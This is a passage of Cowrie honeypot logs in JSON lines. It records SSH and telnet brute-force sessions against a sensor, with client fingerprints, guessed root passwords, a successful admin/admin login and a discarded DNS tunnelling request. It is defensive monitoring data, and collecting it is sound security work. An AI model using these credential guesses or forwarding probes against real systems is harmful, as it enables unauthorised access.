{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:48.863060Z","src_ip":"124.121.31.17","session":"f29b123c50b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:49.132238Z","src_ip":"124.121.31.17","session":"f29b123c50b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bacula","message":"login attempt [root/bacula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:50.236837Z","src_ip":"124.121.31.17","session":"f29b123c50b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:51.507311Z","src_ip":"124.121.31.17","session":"f29b123c50b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00462174415588,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:54.703314Z","src_ip":"31.134.20.206","session":"0fb3e2d92847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":55434,"dst_ip":"159.203.135.109","dst_port":22,"session":"415a3ba40c14","protocol":"ssh","message":"New connection: 202.29.225.206:55434 (159.203.135.109:22) [session: 415a3ba40c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:55.604993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:55.611513Z","src_ip":"202.29.225.206","session":"415a3ba40c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:55.852655Z","src_ip":"202.29.225.206","session":"415a3ba40c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":35054,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc9e7ebc4eea","protocol":"telnet","message":"New connection: 31.134.20.206:35054 (159.203.135.109:23) [session: cc9e7ebc4eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:56.852962Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1928","message":"login attempt [root/1928] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:56.858776Z","src_ip":"202.29.225.206","session":"415a3ba40c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:58.103075Z","src_ip":"202.29.225.206","session":"415a3ba40c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":41436,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a9b1db0f51","protocol":"ssh","message":"New connection: 186.116.56.108:41436 (159.203.135.109:22) [session: 02a9b1db0f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:37.804264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:37.809734Z","src_ip":"186.116.56.108","session":"02a9b1db0f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:37.976695Z","src_ip":"186.116.56.108","session":"02a9b1db0f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1d2m3i4n5","message":"login attempt [root/a1d2m3i4n5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:38.388691Z","src_ip":"186.116.56.108","session":"02a9b1db0f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:39.486589Z","src_ip":"186.116.56.108","session":"02a9b1db0f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5270,"dst_ip":"10.17.0.5","dst_port":22,"session":"25ddcf00c884","protocol":"ssh","message":"New connection: 87.251.64.176:5270 (10.17.0.5:22) [session: 25ddcf00c884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.096920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.103220Z","src_ip":"87.251.64.176","session":"25ddcf00c884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.204808Z","src_ip":"87.251.64.176","session":"25ddcf00c884","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.495952Z","src_ip":"87.251.64.176","session":"25ddcf00c884","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.596033Z","session":"25ddcf00c884","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.693109Z","src_ip":"87.251.64.176","session":"25ddcf00c884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:50:55.929967Z","src_ip":"87.251.64.176","session":"25ddcf00c884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":33332,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad9c25f4731","protocol":"ssh","message":"New connection: 202.29.225.206:33332 (159.203.135.109:22) [session: aad9c25f4731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:17.192577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:17.197172Z","src_ip":"202.29.225.206","session":"aad9c25f4731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:17.444046Z","src_ip":"202.29.225.206","session":"aad9c25f4731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:18.451366Z","src_ip":"202.29.225.206","session":"aad9c25f4731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:19.703960Z","src_ip":"202.29.225.206","session":"aad9c25f4731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.161.170","src_port":35146,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f4a5209e35","protocol":"telnet","message":"New connection: 120.28.161.170:35146 (159.203.135.109:23) [session: 26f4a5209e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:22.427888Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":22118,"dst_ip":"10.17.0.5","dst_port":22,"session":"24bc8d107d9c","protocol":"ssh","message":"New connection: 176.65.132.190:22118 (10.17.0.5:22) [session: 24bc8d107d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:22.453794Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:22.458746Z","src_ip":"176.65.132.190","session":"24bc8d107d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.921732664108276,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:35.349518Z","src_ip":"120.28.161.170","session":"26f4a5209e35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":49002,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc5b60a6a6b","protocol":"ssh","message":"New connection: 101.109.219.135:49002 (10.17.0.5:22) [session: cdc5b60a6a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:46.238555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:46.246864Z","src_ip":"101.109.219.135","session":"cdc5b60a6a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:46.505326Z","src_ip":"101.109.219.135","session":"cdc5b60a6a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123456","message":"login attempt [root/Pass123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:47.571966Z","src_ip":"101.109.219.135","session":"cdc5b60a6a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:48.830666Z","src_ip":"101.109.219.135","session":"cdc5b60a6a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241374969482,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:56.855265Z","src_ip":"31.134.20.206","session":"cc9e7ebc4eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":45138,"dst_ip":"159.203.135.109","dst_port":23,"session":"6316b35f8a2a","protocol":"telnet","message":"New connection: 31.134.20.206:45138 (159.203.135.109:23) [session: 6316b35f8a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:57.718991Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":40232,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c9517099e0","protocol":"ssh","message":"New connection: 186.116.56.108:40232 (159.203.135.109:22) [session: 17c9517099e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:58.917080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:58.922498Z","src_ip":"186.116.56.108","session":"17c9517099e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:59.013287Z","src_ip":"186.116.56.108","session":"17c9517099e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saji","message":"login attempt [root/saji] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:51:59.401340Z","src_ip":"186.116.56.108","session":"17c9517099e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:52:00.493950Z","src_ip":"186.116.56.108","session":"17c9517099e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":38416,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d1160458c2","protocol":"ssh","message":"New connection: 202.29.225.206:38416 (159.203.135.109:22) [session: 77d1160458c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:52:38.654235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:52:38.658617Z","src_ip":"202.29.225.206","session":"77d1160458c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","dif